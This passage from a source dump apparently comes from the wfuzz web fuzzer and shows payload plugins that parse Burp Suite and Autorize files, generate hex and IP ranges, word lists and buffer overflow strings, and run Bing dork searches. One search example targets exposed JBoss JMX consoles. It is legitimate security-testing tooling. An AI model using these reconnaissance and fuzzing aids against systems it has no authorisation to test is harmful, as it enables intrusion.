[\"default\"]\n    priority = 99\n\n    def __init__(self, *i):\n        self._payload_list = i\n        self.__count = sum([x.count() for x in i])\n        self.it = itertools.chain(*i)\n\n    def count(self):\n        return self.__count\n\n    def width(self):\n        return 1\n\n    def payloads(self):\n        return self._payload_list\n\n    def __next__(self):\n        return (next(self.it),)\n\n    def __iter__(self):\n        return self\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugins/payloads/autorize.py",
    "content": "import re\nimport base64\n\nfrom wfuzz.exception import FuzzExceptBadFile\nfrom wfuzz.fuzzobjects import FuzzResult, FuzzWordType\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.helpers.obj_dyn import rgetattr\n\n\n@moduleman_plugin\nclass autorize(BasePayload):\n    name = \"autorize\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.2\"\n    description = (\"Reads burp extension autorize states\",)\n    summary = \"Returns fuzz results' from autorize.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"fn\", \"\", True, \"Filename of a valid autorize state file.\"),\n        (\n            \"attr\",\n            None,\n            False,\n            \"Attribute of fuzzresult to return. If not specified the whole object is returned.\",\n        ),\n    )\n\n    default_parameter = \"fn\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.__max = -1\n        self.attr = self.params[\"attr\"]\n        self._it = self._gen_wfuzz(self.params[\"fn\"])\n\n    def count(self):\n        return self.__max\n\n    def get_next(self):\n        next_item = next(self._it)\n\n        return next_item if not self.attr else rgetattr(next_item, self.attr)\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def _gen_wfuzz(self, output_fn):\n        try:\n\n            with open(self.find_file(output_fn), \"r\") as f:\n                for (\n                    url1,\n                    port1,\n                    schema1,\n                    req1,\n                    resp1,\n                    url2,\n                    port2,\n                    schema2,\n                    req2,\n                    resp2,\n                    url3,\n                    port3,\n                    schema3,\n                    req3,\n                    resp3,\n                    res1,\n                    res2,\n                ) in [re.split(r\"\\t+\", x) for x in f.readlines()]:\n                    raw_req1 = base64.decodestring(req2)\n                    # raw_res1 = base64.decodestring(res2)\n\n                    item = FuzzResult()\n                    item.history = FuzzRequest()\n                    item.history.update_from_raw_http(raw_req1, schema1)\n\n                    yield item\n        except IOError as e:\n            raise FuzzExceptBadFile(\"Error opening wfuzz payload file. %s\" % str(e))\n        except EOFError:\n            raise StopIteration\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/bing.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.payloadtools import BingIter\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass bing(BasePayload):\n    name = \"bing\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.2\"\n    description = (\n        'intitle:\"JBoss JMX Management Console\"',\n        \"Some examples of bing hacking:\",\n        \"http://www.elladodelmal.com/2010/02/un-poco-de-bing-hacking-i-de-iii.html\",\n    )\n\n    summary = \"Returns URL results of a given bing API search (needs api key).\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"dork\", \"\", True, \"Google dork search string.\"),\n        (\"offset\", \"0\", False, \"Offset index, starting at zero.\"),\n        (\"limit\", \"0\", False, \"Number of results. Zero for all.\"),\n    )\n\n    default_parameter = \"dork\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        offset = int(params[\"offset\"])\n        limit = int(params[\"limit\"])\n\n        self._it = BingIter(params[\"dork\"], offset, limit)\n\n    def count(self):\n        return self._it.max_count\n\n    def get_next(self):\n        return next(self._it)\n\n    def get_type(self):\n        return FuzzWordType.WORD\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/buffer_overflow.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass buffer_overflow(BasePayload):\n    name = \"buffer_overflow\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.2\"\n    description = ()\n    summary = \"Returns a string using the following pattern A * given number.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = ((\"size\", \"\", True, \"Size of the overflow string.\"),)\n\n    default_parameter = \"size\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.bov_list = [\"A\" * int(self.params[\"size\"])]\n        self.current = 0\n\n    def count(self):\n        return 1\n\n    def get_next(self):\n        if self.current == 0:\n            elem = self.bov_list[self.current]\n            self.current += 1\n            return elem\n        else:\n            raise StopIteration\n\n    def get_type(self):\n        return FuzzWordType.WORD\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/burpitem.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptBadFile\nfrom wfuzz.fuzzobjects import FuzzResult, FuzzWordType\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.helpers.obj_dyn import rgetattr\nimport xml.etree.cElementTree as ET\nfrom base64 import b64decode\n\n\n@moduleman_plugin\nclass burpitem(BasePayload):\n    name = \"burpitem\"\n    author = (\"Bendegúz Nagy (@PaperTsar)\",)\n    version = \"0.1\"\n    description = (\n        \"This payload loads request/response from items saved from Burpsuite.\",\n    )\n    summary = \"This payload loads request/response from items saved from Burpsuite.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"fn\", \"\", True, \"Filename of a valid Burp item file.\"),\n        (\n            \"attr\",\n            None,\n            False,\n            \"Attribute of fuzzresult to return. If not specified the whole object is returned.\",\n        ),\n    )\n\n    default_parameter = \"fn\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.__max = -1\n        self.attr = self.params[\"attr\"]\n        self._it = self._gen_burpitem(self.params[\"fn\"])\n\n    def count(self):\n        return self.__max\n\n    def get_next(self):\n        next_item = next(self._it)\n\n        return next_item if not self.attr else rgetattr(next_item, self.attr)\n\n    def get_type(self):\n        return FuzzWordType.FUZZRES if not self.attr else FuzzWordType.WORD\n\n    def _gen_burpitem(self, output_fn):\n        try:\n            tree = ET.parse(self.find_file(output_fn))\n            for item in tree.getroot().iter(\"item\"):\n                fr = FuzzRequest()\n                fr.update_from_raw_http(\n                    raw=b64decode(item.find(\"request\").text or \"\").decode(\"utf-8\"),\n                    scheme=item.find(\"protocol\").text,\n                    raw_response=b64decode(item.find(\"response\").text or \"\"),\n                )\n                fr.wf_ip = {\n                    \"ip\": item.find(\"host\").attrib.get(\"ip\", None)\n                    or item.find(\"host\").text,\n                    \"port\": item.find(\"port\").text,\n                }\n                frr = FuzzResult(history=fr)\n\n                yield frr.update()\n            return\n        except IOError as e:\n            raise FuzzExceptBadFile(\n                \"Error opening Burp items payload file. %s\" % str(e)\n            )\n        except EOFError:\n            return\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/burplog.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptBadFile\nfrom wfuzz.fuzzobjects import FuzzResult\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.helpers.obj_dyn import rgetattr\nfrom wfuzz.fuzzobjects import FuzzWordType\n\nimport re\n\nimport sys\n\nif sys.version_info < (3, 0):\n    from io import open\n\nCRLF = \"\\n\"\nDELIMITER = \"%s%s\" % (\"=\" * 54, CRLF)\nCRLF_DELIMITER = CRLF + DELIMITER\nHEADER = re.compile(\n    r\"(\\d{1,2}:\\d{2}:\\d{2} (AM|PM|))[ \\t]+(\\S+)([ \\t]+\\[(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|unknown host)\\])?\"\n)\n\n\n@moduleman_plugin\nclass burplog(BasePayload):\n    name = \"burplog\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\"Returns fuzz results' URL from a Burp log.\",)\n    summary = \"Returns fuzz results from a Burp log.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"fn\", \"\", True, \"Filename of a valid Burp log file.\"),\n        (\n            \"attr\",\n            None,\n            False,\n            \"Attribute of fuzzresult to return. If not specified the whole object is returned.\",\n        ),\n    )\n\n    default_parameter = \"fn\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.__max = -1\n        self.attr = self.params[\"attr\"]\n        self._it = self.parse_burp_log(self.params[\"fn\"])\n\n    def count(self):\n        return self.__max\n\n    def get_type(self):\n        return FuzzWordType.FUZZRES if not self.attr else FuzzWordType.WORD\n\n    def get_next(self):\n        next_item = next(self._it)\n\n        return next_item if not self.attr else rgetattr(next_item, self.attr)\n\n    def parse_burp_log(self, burp_log):\n        burp_file = None\n\n        try:\n            burp_file = open(\n                self.find_file(burp_log),\n                \"r\",\n                encoding=\"utf-8\",\n                errors=\"surrogateescape\",\n            )\n\n            history = \"START\"\n\n            rl = burp_file.readline()\n            while rl != \"\":\n                if history == \"START\":\n                    if rl == DELIMITER:\n                        history = \"HEADER\"\n                elif history == \"HEADER\":\n                    if rl == DELIMITER:\n                        raw_request = \"\"\n                        history = \"REQUEST\"\n                    else:\n                        matched = HEADER.match(rl)\n                        ctime, host, ip_address = matched.group(1, 3, 5)\n                elif history == \"REQUEST\":\n                    if rl == DELIMITER:\n                        history = \"DELIM1\"\n                    else:\n                        raw_request += rl\n                elif history == \"DELIM1\":\n                    if rl == CRLF:\n                        raw_response = \"\"\n                        history = \"DELIM3\"\n                    else:\n                        raw_response = rl\n                        history = \"RESPONSE\"\n                elif history == \"RESPONSE\":\n                    if rl == DELIMITER:\n                        history = \"DELIM2\"\n                    else:\n                        raw_response += rl\n                elif history == \"DELIM2\":\n                    if rl == CRLF:\n                        history = \"DELIM3\"\n                elif history == \"DELIM3\":\n                    if rl == CRLF:\n                        history = \"DELIM4\"\n                elif history == \"DELIM4\":\n                    if rl == CRLF:\n                        fr = FuzzRequest()\n                        # last read line contains an extra CRLF\n                        fr.update_from_raw_http(\n                            raw_request, host[: host.find(\"://\")], raw_response[:-1]\n                        )\n                        frr = FuzzResult(history=fr)\n\n                        yield frr.update()\n\n                        history = \"START\"\n\n                rl = burp_file.readline()\n\n        except IOError as e:\n            raise FuzzExceptBadFile(\"Error opening burp log file. %s\" % str(e))\n        finally:\n            if burp_file is not None:\n                burp_file.close()\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/burpstate.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptBadFile, FuzzExceptBadOptions\nfrom wfuzz.fuzzobjects import FuzzResult\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.helpers.obj_dyn import rgetattr\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\nimport datetime\nimport string\nimport re\nimport struct\nimport zipfile\n\nTAG = re.compile(r\"</?(\\w*)>\", re.M)  # Match a XML tag\nnvprint = string.printable.replace(\"\\x0b\", \"\").replace(\"\\x0c\", \"\")  # Printables\n\n\n@moduleman_plugin\nclass burpstate(BasePayload):\n    name = \"burpstate\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\n        \"*ALERT*: https://portswigger.net/blog/goodbye-state-files-we-wont-miss-you\",\n        \"\",\n        \"Returns fuzz results' from a Burp saved state file. This payload's code is based on burp2xml.py:\",\n        \"Developed by Paul Haas, <phaas AT redspin DOT com> under Redspin. Inc.\",\n        \"Licensed under the GNU Public License version 3.0 (2008-2009)\",\n        \"Process Burp Suite Professional's output into a well-formed XML document.\",\n        \"\",\n        \"Currently, the whole burp state file is read, in the future this needs to be changed to be more memory efficient.\",\n    )\n    summary = \"Returns fuzz results from a Burp state.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"fn\", \"\", True, \"Filename of a valid Burp state file.\"),\n        (\n            \"attr\",\n            None,\n            False,\n            \"Fuzzresult attribute to return. If not specified the whole object is returned.\",\n        ),\n        (\n            \"source\",\n            \"proxy, target\",\n            False,\n            \"A list of separated Burp sources to get the HTTP requests and responses from. It could be proxy or target tool.\",\n        ),\n        (\n            \"checkversion\",\n            False,\n            False,\n            \"If the Burp log file version is unknown an exception will be raised and execution will fail. Checked with burp state file version 65, 67.\",\n        ),\n    )\n\n    default_parameter = \"fn\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.__max = -1\n        self.attr = self.params[\"attr\"]\n        self._it = self.burp_to_xml(self.params[\"fn\"])\n\n        if any(i not in [\"proxy\", \"target\"] for i in self.params[\"source\"].split(\",\")):\n            raise FuzzExceptBadOptions(\"Unknown burp source parameter\")\n\n        self.request_tags = []\n        self.response_tags = []\n\n        if \"proxy\" in self.params[\"source\"]:\n            self.request_tags.append(\"</originalRequest>\")\n            self.response_tags.append(\"</originalResponse>\")\n\n        if \"target\" in self.params[\"source\"]:\n            self.request_tags.append(\"</request>\")\n            self.response_tags.append(\"</response>\")\n\n    def __iter__(self):\n        return self\n\n    def count(self):\n        return self.__max\n\n    def get_type(self):\n        return FuzzWordType.FUZZRES if not self.attr else FuzzWordType.WORD\n\n    def get_next(self):\n        next_item = next(self._it)\n\n        return next_item if not self.attr else rgetattr(next_item, self.attr)\n\n    def milliseconds_to_date(self, milliseconds):\n        \"\"\"Convert milliseconds since Epoch (from Java) to Python date structure:\n        See: http://java.sun.com/j2se/1.4.2/docs/api/java/util/Date.html\n\n        There is no direct way to convert milliseconds since Epoch to Python object\n        So we convert the milliseconds to seconds first as a POSIX timestamp which\n        can be used to get a valid date, and then use the parsed values from that\n        object along with converting mili -> micro seconds in a new date object.\"\"\"\n        try:\n            d = datetime.datetime.fromtimestamp(milliseconds / 1000)\n            date = datetime.datetime(\n                d.year,\n                d.month,\n                d.day,\n                d.hour,\n                d.minute,\n                d.second,\n                (milliseconds % 1000) * 1000,\n            )\n        except ValueError:  # Bad date, just return the milliseconds\n            date = str(milliseconds)\n            return None\n        return date\n\n    def burp_binary_field(self, field, i):\n        \"\"\"Strip Burp Suite's binary format characters types from our data.\n        The first character after the leading tag describes the type of the data.\"\"\"\n        if len(field) <= i:\n            return None, -1\n        elif field[i] == \"\\x00\":  # 4 byte integer value\n            return str(struct.unpack(\">I\", field[i + 1 : i + 5])[0]), 5\n        elif field[i] == \"\\x01\":  # Two possible unsigned long long types\n            if field[i + 1] == \"\\x00\":  # (64bit) 8 Byte Java Date\n                ms = struct.unpack(\">Q\", field[i + 1 : i + 9])[0]\n                date = self.milliseconds_to_date(ms)\n                value = (\n                    date.ctime() if date else 0\n                )  # Use the ctime string format for date\n            else:  # Serial Number only used ocasionally in Burp\n                value = str(struct.unpack(\">Q\", field[i + 1 : i + 9])[0])\n            return value, 9\n        elif field[i] == \"\\x02\":  # Boolean Object True/False\n            return str(struct.unpack(\"?\", field[i + 1 : i + 2])[0]), 2\n        elif field[i] == \"\\x03\" or field[i] == \"\\x04\":  # 4 byte length + string\n            length = struct.unpack(\">I\", field[i + 1 : i + 5])[0]\n            # print \"Saw string of length\", length, \"at\", i + 5, i + 5+length\n            value = field[i + 5 : i + 5 + length]\n            if \"<\" in value or \">\" in value or \"&\" in value:  # Sanatize HTML w/CDATA\n                value = \"<![CDATA[\" + value.replace(\"]]>\", \"]]><![CDATA[\") + \"]]>\"\n            value = \"\".join(c for c in value if c in nvprint)  # Remove nonprintables\n            return value, 5 + length  # ** TODO: Verify length by matching end tag **\n        print(\"Unknown binary format\", repr(field[i]))\n        return None, -1\n\n    def strip_cdata(self, data):\n        if data.startswith(\"<![CDATA[\"):\n            data = data[9:]\n\n        if data.endswith(\"]]>\"):\n            data = data[:-3]\n\n        return data\n\n    def burp_to_xml(self, filename):\n        \"\"\"Unzip Burp's file, remove non-printable characters, CDATA any HTML,\n        include a valid XML header and trailer, and return a valid XML string.\"\"\"\n\n        z = zipfile.ZipFile(self.find_file(filename))  # Open Burp's zip file\n        burp = z.read(\"burp\", \"rb\")  # Read-in the main burp file\n        m = TAG.match(burp, 0)  # Match a tag at the start of the string\n        while m:\n            index = m.end()\n            etag = m.group().replace(\"<\", \"</\")  # Matching tag\n\n            m = TAG.match(burp, index)  # Attempt to get the next tag\n            if not m:  # Data folows\n                # Read the type of data using Burp's binary data headers\n                value, length = self.burp_binary_field(burp, index)\n                if value is None:\n                    break\n\n                index += length + len(etag)  # Point our index to the next tag\n                m = TAG.match(burp, index)  # And retrieve it\n\n                if (\n                    self.params[\"checkversion\"]\n                    and etag == \"</version>\"\n                    and value not in [\"65\", \"67\"]\n                ):\n                    raise FuzzExceptBadFile(\"Unknown burp log version %s\" % value)\n\n                if etag == \"</https>\":\n                    https_tag = value == \"True\"\n\n                if etag in self.request_tags:\n                    raw_request = self.strip_cdata(value)\n\n                if etag in self.response_tags:\n                    fr = FuzzRequest()\n                    fr.update_from_raw_http(\n                        raw_request,\n                        \"http\" if not https_tag else \"https\",\n                        self.strip_cdata(value),\n                    )\n                    frr = FuzzResult(history=fr)\n\n                    raw_request = \"\"\n                    https_tag = \"\"\n\n                    yield frr.update()\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/dirwalk.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\nimport os\n\n# Python 2 and 3: alternative 4\ntry:\n    from urllib.parse import quote\nexcept ImportError:\n    from urllib import quote\n\n\n@moduleman_plugin\nclass dirwalk(BasePayload):\n    name = \"dirwalk\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\n        \"Returns all the file paths found in the specified directory.\",\n        \"Handy if you want to check a directory structure against a webserver,\",\n        \"for example, because you have previously downloaded a specific version\",\n        \"of what is supposed to be on-line.\",\n    )\n    summary = \"Returns filename's recursively from a local directory.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"dir\", \"\", True, \"Directory path to walk and generate payload from.\"),\n    )\n\n    default_parameter = \"dir\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.g = self._my_gen(self.params[\"dir\"])\n\n    def _my_gen(self, directory):\n        for root, dirs, fnames in os.walk(directory):\n            for f in fnames:\n                relative_path = os.path.relpath(os.path.join(root, f), directory)\n                yield quote(relative_path)\n\n    def get_next(self):\n        return next(self.g)\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def count(self):\n        return -1\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/file.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptBadFile\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.helpers.file_func import FileDetOpener\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass file(BasePayload):\n    name = \"file\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.2\"\n    description = (\"Returns the contents of a dictionary file line by line.\",)\n    summary = \"Returns each word from a file.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"fn\", \"\", True, \"Filename of a valid dictionary\"),\n        (\n            \"count\",\n            \"True\",\n            False,\n            \"Indicates if the number of words in the file should be counted.\",\n        ),\n        (\"encoding\", \"Auto\", False, \"Indicates the file encoding.\"),\n    )\n\n    default_parameter = \"fn\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        try:\n            encoding = (\n                self.params[\"encoding\"]\n                if self.params[\"encoding\"].lower() != \"auto\"\n                else None\n            )\n            self.f = FileDetOpener(self.find_file(self.params[\"fn\"]), encoding)\n        except IOError as e:\n            raise FuzzExceptBadFile(\"Error opening file. %s\" % str(e))\n\n        self.__count = None\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        line = next(self.f)\n        if not line:\n            self.f.close()\n            raise StopIteration\n        return line.strip()\n\n    def count(self):\n        if self.params[\"count\"].lower() == \"false\":\n            return -1\n\n        if self.__count is None:\n            self.__count = len(list(self.f))\n            self.f.reset()\n\n        return self.__count\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/guitab.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\nfrom wfuzz.facade import Facade\n\n\n@moduleman_plugin\nclass guitab(BasePayload):\n    name = \"guitab\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\n        \"** This is a beta plugin for the GUI under construction.\",\n        \"This payload reads requests from a tab in the GUI\",\n    )\n    summary = \"This payload reads requests from a tab in the GUI\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"tab\", \"\", True, \"Name of a valid GUI tab.\"),\n        (\n            \"attr\",\n            None,\n            False,\n            \"Attribute of fuzzresult to return. If not specified the whole object is returned.\",\n        ),\n    )\n\n    default_parameter = \"tab\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.attr = self.params[\"attr\"]\n        self._it = iter(Facade().data[self.params[\"tab\"]])\n\n    def count(self):\n        return len(Facade().data[self.params[\"tab\"]])\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        next_item = next(self._it)\n\n        return next_item if not self.attr else next_item.get_field(self.attr)\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/hexrand.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.exception import FuzzExceptPluginBadParams\nfrom wfuzz.fuzzobjects import FuzzWordType\n\nimport random\n\n\n@moduleman_plugin\nclass hexrand(BasePayload):\n    name = \"hexrand\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    description = ()\n    summary = \"Returns random hex numbers from the given range.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\n            \"range\",\n            \"\",\n            True,\n            \"Range of hex numbers to randomly generate in the form of 00-ff.\",\n        ),\n    )\n\n    default_parameter = \"range\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        try:\n            ran = self.params[\"range\"].split(\"-\")\n            self.minimum = int(ran[0], 16)\n            self.maximum = int(ran[1], 16)\n            self.__count = -1\n        except ValueError:\n            raise FuzzExceptPluginBadParams('Bad range format (eg. \"0-ffa\")')\n\n    def __iter__(self):\n        return self\n\n    def count(self):\n        return self.__count\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        self.current = random.SystemRandom().randint(self.minimum, self.maximum)\n\n        lgth = len(hex(self.maximum).replace(\"0x\", \"\"))\n        pl = \"%\" + str(lgth) + \"s\"\n        num = hex(self.current).replace(\"0x\", \"\")\n        pl = pl % (num)\n        payl = pl.replace(\" \", \"0\")\n\n        return payl\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/hexrange.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.exception import FuzzExceptBadOptions\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass hexrange(BasePayload):\n    name = \"hexrange\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    description = ()\n    summary = \"Returns each hex number of the given hex range.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"range\", \"\", True, \"Range of hex numbers to generate in the form of 00-ff.\"),\n    )\n\n    default_parameter = \"range\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        try:\n            ran = self.params[\"range\"].split(\"-\")\n            self.minimum = int(ran[0], 16)\n            self.maximum = int(ran[1], 16)\n            self.__count = self.maximum - self.minimum + 1\n            self.current = self.minimum\n            self.lgth = max(\n                len(ran[0]), len(ran[1]), len(hex(self.maximum).replace(\"0x\", \"\"))\n            )\n        except ValueError:\n            raise FuzzExceptBadOptions('Bad range format (eg. \"0-ffa\")')\n\n    def count(self):\n        return self.__count\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        if self.current > self.maximum:\n            raise StopIteration\n\n        pl = \"%\" + str(self.lgth) + \"s\"\n        num = hex(self.current).replace(\"0x\", \"\")\n        pl = pl % (num)\n        payl = pl.replace(\" \", \"0\")\n\n        self.current += 1\n\n        return payl\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/ipnet.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptPluginBadParams, FuzzExceptBadInstall\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass ipnet(BasePayload):\n    name = \"ipnet\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\"ie. 192.168.1.0/24\", \"Requires: netaddr module\")\n    summary = \"Returns list of IP addresses of a network.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = ((\"net\", \"\", True, \"Network range in the form ip/mask.\"),)\n\n    default_parameter = \"net\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        try:\n            from netaddr import IPNetwork\n            from netaddr.core import AddrFormatError\n\n            net = IPNetwork(\"%s\" % self.params[\"net\"])\n            self.f = net.iter_hosts()\n            self.__count = net.size - 2\n\n            if self.__count <= 0:\n                raise FuzzExceptPluginBadParams(\n                    \"There are not hosts in the specified network\"\n                )\n\n        except ValueError:\n            raise FuzzExceptPluginBadParams(\n                \"The specified network has an incorrect format.\"\n            )\n        except ImportError:\n            raise FuzzExceptBadInstall(\n                \"ipnet plugin requires netaddr module. Please install it using pip.\"\n            )\n        except AddrFormatError:\n            raise FuzzExceptPluginBadParams(\n                \"The specified network has an incorrect format.\"\n            )\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        return str(next(self.f))\n\n    def count(self):\n        return self.__count\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/iprange.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptPluginBadParams, FuzzExceptBadInstall\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass iprange(BasePayload):\n    name = \"iprange\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\n        \"ie. 192.168.1.0-192.168.1.12\",\n        \"Requires: netaddr module\",\n    )\n    summary = \"Returns list of IP addresses of a given IP range.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"iprange\", \"\", True, \"IP address range int the form 192.168.1.0-192.168.1.12\"),\n    )\n\n    default_parameter = \"iprange\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        try:\n            from netaddr import IPRange\n            from netaddr.core import AddrFormatError\n\n            ran = self.params[\"iprange\"].split(\"-\")\n            net = IPRange(ran[0], ran[1])\n            self.f = iter(net)\n            self.__count = net.size\n        except ImportError:\n            raise FuzzExceptBadInstall(\n                \"ipnet plugin requires netaddr module. Please install it using pip.\"\n            )\n        except AddrFormatError:\n            raise FuzzExceptPluginBadParams(\n                \"The specified network range has an incorrect format.\"\n            )\n        except IndexError:\n            raise FuzzExceptPluginBadParams(\n                \"The specified network range has an incorrect format.\"\n            )\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        return str(next(self.f))\n\n    def count(self):\n        return self.__count\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/list.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass list(BasePayload):\n    name = \"list\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\"ie word1-word2\",)\n    summary = \"Returns each element of the given word list separated by -.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"values\", \"\", True, \"Values separated by - to return as a dictionary.\"),\n    )\n\n    default_parameter = \"values\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        if self.params[\"values\"].find(\"\\\\\") >= 0:\n            self.params[\"values\"] = self.params[\"values\"].replace(\"\\\\-\", \"$SEP$\")\n            self.params[\"values\"] = self.params[\"values\"].replace(\"\\\\\\\\\", \"$SCAP$\")\n\n            self.value_list = self.params[\"values\"].split(\"-\")\n\n            for i in range(len(self.value_list)):\n                self.value_list[i] = self.value_list[i].replace(\"$SEP$\", \"-\")\n                self.value_list[i] = self.value_list[i].replace(\"$SCAP$\", \"\\\\\")\n        else:\n            self.value_list = self.params[\"values\"].split(\"-\")\n\n        self.__count = len(self.value_list)\n        self.current = 0\n\n    def count(self):\n        return self.__count\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        if self.current >= self.__count:\n            raise StopIteration\n        else:\n            